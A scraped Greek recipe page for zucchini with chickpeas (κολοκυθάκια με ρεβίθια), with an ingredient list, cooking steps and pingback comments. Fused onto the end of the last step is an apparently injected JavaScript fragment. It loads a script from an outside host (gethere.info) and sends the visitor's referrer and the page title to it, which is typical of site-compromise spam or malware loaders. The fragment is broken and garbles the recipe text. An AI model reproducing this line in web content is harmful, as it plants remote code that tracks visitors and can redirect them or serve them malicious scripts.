mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Κολοκυθάκια με ρεβίθια

Κολοκυθάκια με ρεβίθια

IMG_3165Τα κολοκυθάκια θα τα βρίσκουμε φρέσκα για λίγο καιρό ακόμα οπότε ας τα εκμεταλλευτούμε!Σίγουρα τα έχουμε αξιοποιήσει οι περισσότεροι κατάλληλα όλο το καλοκαίρι, αλλά ο συνδυασμός με τα ρεβίθια είναι αρκετά πρωτότυπος και μοναδικός!Άλλωστε το εβδομαδιαίο μενού πρέπει αν περιέχει και όσπρια!

Υλικά:

150 γρ. καρότα
1/4 φλιτζ. ελαιόλαδο
μισό κιλό κολοκυθάκια
3 φλιτζ. βρασμένα ρεβίθια
1 κ.γλ. αλάτι
1/4 κ.γλ. κανέλα
1 κ. γλ. κύμινο
1 κ.γλ. μέντα
1/4 κ.γλ. πιπέρι καγιέν
1 κ.γλ. ντοματοπελτέ
1 κ.γλ. λεμόνι λιωμένο
χυμό από μισό λεμόνι
λίγο μαϊντανό για γαρνίρισμα

Εκτέλεση:

1. Σε ένα κατσαρολάκι βάζουμε τα καρότα αφού τα έχουμε καθαρίσει καλά και τα έχουμε κόψει και τα βράζουμε για λίγο μέχρι να μαλακώσουν.
2. Σε ένα αντικολλητικό τηγάνι βάζουμε λίγο ελαιόλαδο
3. Τσιγαρίζουμε τα κομμένα κολοκυθάκια μέχρι να μαλακώσουν.
4. Έπειτα ρίχνουμε τα καρότα να τσιγαριστούν μαζί καθώς και τα ρεβίθια, το λεμόνι, τα μπαχαρικά και το ντοματοπελτέ.
5. Ανακατεύουμε καλά και ρίχνουμε λίγο νερό. Τα αφήνουμε να βράσουν σε μέτρια φωτιά για 15 λεπτά περίπου.
6. Προσθέτουμε προαιρετικά επιπλέον αλάτι. Μόλις βράσουν και μαλακώσουν, σερβίρουμε με λίγο φρέσκο μαϊντανό!s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

Share This
3 Σχόλια
  1. […] post Κολοκυθάκια με &rh… appeared first on Arkoudos, Συνταγές … […]

  2. […] Κολοκυθάκια με &rh… […]